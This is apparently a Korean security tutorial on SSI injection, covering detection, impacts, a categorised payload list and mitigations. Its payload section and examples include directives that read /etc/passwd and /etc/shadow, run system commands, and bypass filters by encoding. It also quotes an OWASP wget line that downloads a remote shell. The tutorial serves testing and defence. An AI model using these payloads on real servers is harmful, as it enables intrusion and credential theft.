Server Side Includes (SSI) Injection

Server Side Includes (SSI)

Server Side Includes (SSI)는 웹 서버가 HTML 페이지를 동적으로 구성하기 위해 사용하는 간단한 서버 사이드 스크립트 기술이다. SSI 지시어는 HTML 주석 형식으로 삽입되며, 페이지가 로드될 때 서버가 해당 지시어를 해석하여 내용을 치환한다.

 

즉, CGI나 기타 서버 프로그래밍으로 전체 페이지를 생성하지 않고도 다양한 동적 콘텐츠를 포함할 수 있다.

SSI 지시어중 <!-- #echo var="DATE_LOCAL" --> 와 같은 문자를 HTML에 넣으면 페이지 출력 시 현재 서버 시간을 해당 위치에 채워 넣는다. 

 

또한, 일반적으로 파일 확장자가 .shtml, .stm, .shtml 인 HTML 파일에서 동작한다. 웹 서버는 이러한 확장자의 파일을 응답하기 전에 내부적으로 파싱하여 SSI지시어(directive)를 찾아 처리한 뒤, 그 결과를 포함한 최종 HTML을 클라이언트에게 전달한다.

즉, 사용자 에어 입력이 포함된 HTML 출력이 서버에 의해 SSI로 해석될 때, 공격자가 특수한 SSI 코드를 삽입하여 서버 측에서 셰상치 못한 명령이 실행되게 된다.

 

오늘날 대부분의 웹 어플리케이션은 템플릿 엔진이나 프레임워크를 통해 동적 콘텐츠를 생성하므로 SSI의 활용빈도는 크게 줄었으며, SSI는 구식 기술로 여겨지지만, 여전히 정적 사이트 생성이나 서버 단에서 소규모 동적 기능을 구현할 때 간혹 사용되거나, 내부망 레거시 시스템에서 사용된다. 혹은 경량화된 웹 서버 구성이나 레거시 시스템 및 레거시 페이지등에서 SSI가 남아있는 경우가 있어 현대에도 보안 관점에서 무시할 수는 없다. 실제 2020년대 이후에도 SSI 인젝션 취약점이 버그바운티와 CVE 리포트에 간혹 등장하고 있다.

SSI 서버 동착 메커니즘

일반적인 경우 SSI를 사용하려면 Apache HTTPd 의 경우 Options +Includes 설정을 통해 SSI를 활성화 및 .shtml 등의 확장자에 대해 ssi파서를 적용한다. 이 때 클라이언트가 SSI 페이지를 요청하면 서버의 mod_include 모듈이 파일을 읽어 <!-- # ... --> 패턴의 지시어 토큰을 검사한다. 예시로 <!--#include file="/etc/passwd" --> 지시어는 서버가 /etc/passwd 파일 내용을 읽어 현재 페이지에 주입하고 exec cmd="ls"는 서버 셸에서 ls 명령을 실행한 결과를 출력에 포함시킨다.

즉, 서버프로세스 권한으로 해당 명령이 실행되어 디렉토리 목록이 생성되고 서버는 그 표준출력 결과를 캡처하여 원래 SSI 지시어 자리에 삽입한다. 최정적으로 완성된 HTML에는 디렉토리 목록 텍스트가 포함되어 클라이언트에게 전송된다.

 

만약 exec를 이용하여 명령이 실행되면 그 실행 주체는 웹 서버 프로세스의 권한을 가진다. Apache라면 www-data혹은 apache 사용자 권한으로 실행되게 된다.

OWASP에서 <!--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" --> 와 같은 페이로드를 통해 wget을 통해 원격 쉘 스크립트를 다운로드한 뒤 shell.php로 이름을 바꾸는 시나리오를 보여주었다.

 

이 외에도 cho, include, exec, flastmod, fsize, if/elif/else 등 다양한 지시어를 지원하며, 이는 페이지 렌더링 전에 순차적으로 처리된다. 특히 Apache의 exec 지시어는 기본적으로 쉘을 통해 명령을 수행하므로, 공격자는 OS 명령 인젝션과 유사한 수준의 권한을 획득하게 된다.

 

최근 웹 서버 설정에서는 SSI가 사용되더라도 IncludesNOEXEC 옵션을 통해 exec 기능을 끄는 경우가 많아, 단순 SSI 인젝션으로는 파일 읽기 등의 제한적인 공격만 가능한 사례도 존재한다.

Apache 공식 문서에서도 “SSI의 exec 기능은 매우 위험하므로, 게시판 등 사용자가 콘텐츠를 입력할 수 있는 경우 반드시 비활성화할 것”을 권고하고 있다.

웹 서버의 SSI 처리 흐름과 취약 조건

사용자의 HTTP 요청이 SSI가 포함된 페이지에 도달하면, 웹 서버는 해당 파일을 로드하여 SSI 파서를 거친다. 파서는 파일 내용을 스캔하며 <!--# ... --> 패턴의 SSI 지시어를 찾고 사전에 정의된 옹작을 수행한다 #include 지시어를 만나면 파일을 열어 그 내용을 버퍼에 합치고, #exec 지시어를 만나면 쉘명을 실행한 후 표준 출력을 읽어와 해당 위치에 삽입한다.

공격 엔드포인트

대표적으로 .shtml .shtm .stm 확장자는 서버에서 SSI 처리가 되는 페이지를 나타내는 경우가 많다.

실제로 .shtml은 Apache 기본 설정에서 SSI 파싱 대상이고, .shtm(3글자 제한 대응)이나 .stm 등도 과거 IIS/ASP 환경에서 SSI용으로 쓰였다. 하지만 서버 설정에 따라 .html이나 .jsp 같은 페이지에서도 SSI가 동작하도록 구성되었을 수 있다. 이러한 이유는

Apache의 XBitHack 기능을 키면 .html 파일도 실행 권한이 세팅된 경우 SSI 파싱이 이루어진다.

 

또는 페이지 소스에 SSI 지시어 문자열이 노출되는지 확인하는 방법이 존재한다.

소스코드 확인시 <!-- #include 나 <!--#echo 같은 패턴이 나타난다면 SSI를 사용하지만 서버에서 SSI파싱이 안 되고 있음을 의미한다. 서버 설정 기본값으로 SSI 오류 시 페이지에 "[an error occurred while processing this directive]"와 같은 문구가 나타나므로, 이런 메시지가 보이면 SSI 파싱이 이뤄졌음을 알 수 있다.

 

다른 방법으로 HTTP 응답 헤더에 <!--#...--> 내용을 넣어 반응을 살필 수 있다. 실제로 일부 페이지는 Referer나 User-Agent 값을 페이지에 출력하기도 하므로, 해당 헤더에 SSI 페이로드를 넣어보고 반영 여부를 확인하면 숨겨진 SSI 취약 지점을 찾을 수 있다.

 

실제 진단을 위해서는 어플리케이션 입력값이 출력에 반영되는 지점을 찾는 것이다.

이 과정은 XSS 진단과 유사하게 진행 된다. 입력 필드나 파라미터에 <, " 등의 특수문자를 넣어보며 필터링 여부 관찰하며 SSI 지시어에 사용되는 특수문자는 <!--# 시작 시퀀스와 속성 구분을 위한 = " 등 추가 확인을 이어간다.

예를 들어 폼 입력에 <나 # 문자를 넣었을 때 문자 자체가 그대로 출력된다면 (또는 적절히 이스케이프되지 않는다면) SSI 인젝션 시도가 가능할 수 있다.

 

보통 력값에 <!--#echo var="DATE_LOCAL" -->를 넣어 제출한 뒤, 응답 페이지에 현재 서버 날짜가 표시되는지 확인하는 방법이 있다.

입력값에 <!--#if expr="1" -->VULN<!--#endif -->을 넣었을 때 페이지에 VULN 문자열이 보인다면, 조건이 실행되어 해당 문자열이 삽입된 것이며, 반대로 SSI가 작동하지 않는다면 VULN이라는 단어 자체가 나타나지 않거나, SSI 구문 전체가 주석처럼 무시된다. 이러한 방법을 통해 블라인드 기반의 SSI 취약점 식별이 가능해진다.

필터우회

SSI의 필터 우회는 XSS 필터 우회와 비슷한 양상을 나타낸다.

악용으로 인한 영향

파일 시스템 접근 및 정보 유출

include 지시어를 이용해 서버 내의 임의 파일 내용을 읽어 출력시킬 수 있다.

virtual 속성을 사용하면 웹 루트 기준 경로로도 포함이 가능하여, <!--#include virtual="/WEB-INF/web.xml" -->처럼 애플리케이션 설정 파일 등을 열람할 수 있다.

한 echo 지시어로 환경 변수(DOCUMENT_ROOT, SERVER_ADMIN 등)나 현재 경로 등을 출력하게 하여 서버 내부 정보를 수집할 수 있다. <!--#echo var="DOCUMENT_URI" -->는 현재 파일의 가상 경로를, <!--#echo reqstate="pathinfo" -->는 실제 시스템 상 경로를 보여주므로, 이를 통해 절대경로를 알아낸 뒤 추가 파일을 포함하는 식의 로컬 파일 디스크로저(LFD) 공격을 진행할 수 있다.

os 명령 실행(RCE)

exec 지시어가 허용된 경우, 공격자는 사실상 임의의 시스템 명령을 실행할 수 있다.

mkfifo와 nc 명령을 조합한 리버스 쉘 한 줄짜리 페이로드도 SSI를 통해 실행할 수 있으며,

앞서 언급했듯 modern한 서버에서는 exec가 꺼져 있을 수 있는데, 이 경우에도 CGI 스크립트 실행이나 스케줄된 작업 조작 등 간접적인 RCE를 노릴 수 있다.

<!--#include virtual="/cgi-bin/backup.py?cmd=malware" --> 같은 페이로드로, CGI에 임의 명령어 인자를 전달하는 식이다.

웹 쉘 업로드

Apache에서 <FilesMatch "\.ph(ar|p|tml)$"> 등을 통해 PHP 업로드를 막았더라도 .shtml 업로드가 가능하다면 공격자는 그 .shtml 내부에 PHP 코드를 넣고 SSI의 exec로 echo 명령을 호출해 해당 PHP 내용을 적절한 위치에 떨어뜨릴 수 있다.

또는 웹 서버가 쓰기 권한 있는 경로에 공격자가 미리 준비한 페이로드 파일(예: base64 인코딩된 웹셸)을 둔 뒤, SSI로 이를 디코딩/리네임하여 .php로 저장시키는 방법도 연구되어 있다.

서비스 거부(DoS)

무거운 명령 실행 및 큰 파일을 반복 include 하면 서버 자원을 고갈 시킨다 

<!--#exec cmd="yes > /dev/null" -->처럼 끝나지 않는 명령을 실행하거나, 수 MB에 달하는 로그 파일을 다수 포함하도록 악용하면 서버 CPU/메모리에 부담을 줘 성능 저하 또는 크래시를 일으킬 수 있다.

콘텐츠 변조 및 피싱

공격자는 SSI 인젝션으로 웹 페이지 내용을 동적으로 변경할 수 있다.

즉, 디페이스 및 피싱으로 잉어질 수 있다. <!--#echo var="HTTP_COOKIE" -->를 이용해 사용자의 세션 쿠키를 페이지에 노출시킨 후 공격자가 그것을 수집하거나, <!--#config errmsg="..."> 지시어로 사용자에게 보여지는 에러 메시지를 가로채 자신의 피싱 페이지 링크를 안내하는 등의 사회공학적 공격을 수행할 수 있다.

복합 공격 시나리오

SSI 인젝션 하나만으로 끝나는 것이 아닌 연계 공격 가능성까지 염두에 두어야한다.

페이로드

기본 정보 조회 계열

 

• 서버 변수, 클라이언트 정보, 요청 데이터 노출
• 환경 변수 확인

 

<!--#echo var="DATE_LOCAL"-->
<!--#echo var="DATE_GMT"-->
<!--#echo var="DOCUMENT_NAME"-->
<!--#echo var="DOCUMENT_URI"-->
<!--#echo var="QUERY_STRING"-->
<!--#echo var="HTTP_USER_AGENT"-->
<!--#echo var="HTTP_REFERER"-->
<!--#echo var="SERVER_NAME"-->
<!--#echo var="SERVER_ADDR"-->
<!--#echo var="SERVER_PORT"-->
<!--#echo var="REMOTE_ADDR"-->
<!--#echo var="REMOTE_PORT"-->

파일 읽기

 

• 민감한 파일 직접 노출
• 경로 조작 우회 테스트
• Windows, Linux 둘 다 포함

<!--#include file="/etc/passwd"-->
<!--#include virtual="/proc/version"-->
<!--#include file="../../../../../../../../etc/shadow"-->
<!--#include file="C:\Windows\System32\drivers\etc\hosts"-->
<!--#include virtual="/var/log/auth.log"-->

 

명령 실행 계열

 

• 대부분 기본 비활성화 → 그러나 설정 실수, 내부 테스트 환경에서 실질적으로 발견됨
• CGI 연계 우회 가능성 존재

<!--#exec cmd="ls -la /"-->
<!--#exec cmd="cat /etc/passwd"-->
<!--#exec cmd="whoami"-->
<!--#exec cmd="id"-->
<!--#exec cmd="uname -a"-->
<!--#exec cmd="powershell.exe whoami"-->
<!--#exec cmd="cmd.exe /c dir C:\"-->
<!--#exec cgi="/cgi-bin/id"-->

 

인코딩·우회형 페이로드

 

• 필터링 우회
• 문자 인코딩 변조

<!--#echo var="HTTP_USER_AGENT"-->
<!--%23echo var="HTTP_USER_AGENT"-->
<!--&#35;echo var="HTTP_USER_AGENT"-->
<!--#include file="&#47;etc&#47;passwd"-->
<!--#exec cmd="w&#104;oami"-->

 

조합형·복합 공격 페이로드

• 다중 SSI 삽입
• 혼합형 우회

<!--#echo var="REMOTE_ADDR"--><!--#exec cmd="ping 127.0.0.1"-->
<!--#include file="/etc/passwd"--><!--#exec cmd="whoami"-->
<!--#echo var="HTTP_COOKIE"--><!--#include file="../../../../../etc/shadow"-->

기타 실험·응용 페이로드

 

• 환경 변수 전체 출력
• 파일 수정일, 크기 확인 가능
• config 조작을 통한 출력 포맷 변경

<!--#config timefmt="%A %B %d, %Y %H:%M:%S"-->
<!--#printenv-->
<!--#flastmod file="index.html"-->
<!--#size file="index.html"-->

 

대응 방안

SSI 비활성화 또는 최소

애플리케이션에서 SSI가 필수적이지 않다면 서버 설정에서 SSI 모듈을 아예 끄는 것이 최선이며, Apache의 경우 Options -Includes로 SSI를 사용 안 함으로 설정하거나, 최소한 IncludesNOEXEC 옵션을 적용해 exec 지시어를 비활성화하여야한다.

콘텐츠 포함 방식 개선

SSI가 단지 헤더/푸터 포함 등으로 쓰이고 있다면, 빌드 타임에 정적으로 포함하거나 서버사이드 템플릿 엔진으로 대체하는 것이 바람직, 현대적인 프레임워크는 SSI 없이도 대부분의 동적 기능을 제공하므로, 레거시 호환성이 아닌 이상 SSI 사용을 지양하며, 부득이 SSI를 써야 한다면, .shtml 등의 뚜렷한 확장자를 사용하지 않고 (XBitHack 등을 활용해) .html 확장자로 운영하는 방법도 고려

철저한 입력값 검증/필터링

모든 사용자 입력에 대해 화이트리스트 기반 검증을 수행하고, SSI 메타문자로 해석될 수 있는 <!--, -->, #, ", ' 등은 반드시 이스케이프하거나 제거

안전한 코딩 및 프레임워크 활용

발자는 사용자 입력을 SSI 지시어에 절대 직접 포함하지 않도록함.

XSS와 유사

권한 및 영역 분리

웹 서버 프로세스의 권한을 최소권한 원칙에 따라 설정하여, 설령 SSI 인젝션이 발생해도 피해를 줄일 수 있음.

 

그 외

• WAF 등 보안 장비 활용
• 정기적인 보안 점검과 패치
• 운영 환경 모니터링

 

참고자료

https://beaglesecurity.com/blog/vulnerability/ssi-injection.html#:~:text=4 
https://nvd.nist.gov/vuln/detail/CVE-2023-1728#:~:text=Unrestricted%20Upload%20of%20File%20with,03
https://quality.sansamlife.com/entry/2022%EB%85%84-%ED%85%8C%EC%8A%A4%ED%8C%85-%EC%82%AC%EB%A1%80-%EA%B3%B5%EC%9C%A0-000%EB%8C%80%ED%95%99%EA%B5%90-%EC%9B%B9%EC%82%AC%EC%9D%B4%ED%8A%B8-%EC%9B%B9-%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%A0%90%EA%B2%80-%EB%B3%B4%EC%95%88%EC%84%B1-%ED%85%8C%EC%8A%A4%ED%8C%85#:~:text=6%20SSI%20%EC%9D%B8%EC%A0%9D%EC%85%98%20%EB%A1%9C%EA%B7%B8%EC%9D%B8%20%ED%8E%98%EC%9D%B4%EC%A7%80%2C,%ED%95%B4%EB%8B%B9%20%EC%B7%A8%EC%95%BD%EC%A0%90%EC%9D%80%20%EB%B0%9C%EA%B2%AC%EB%90%98%EC%A7%80%20%EC%95%8A%EC%9D%8C%20PASS
https://0x80dotblog.wordpress.com/2021/08/17/technique-of-the-week-ssi-server-side-include-injection/#:~:text=needing%20to%20rely%20on%20a,working%20SSI%20Injection%20vulnerability
https://owasp.org/www-community/attacks/Server-Side_Includes_(SSI)_Injection#:~:text=An%20old%20vulnerability%20in%20the,0506
https://httpd.apache.org/docs/2.4/howto/ssi.html#:~:text=The%20other%20method%20is%20to,directive
https://www.networksolutions.com/help/article/what-are-server-side-includes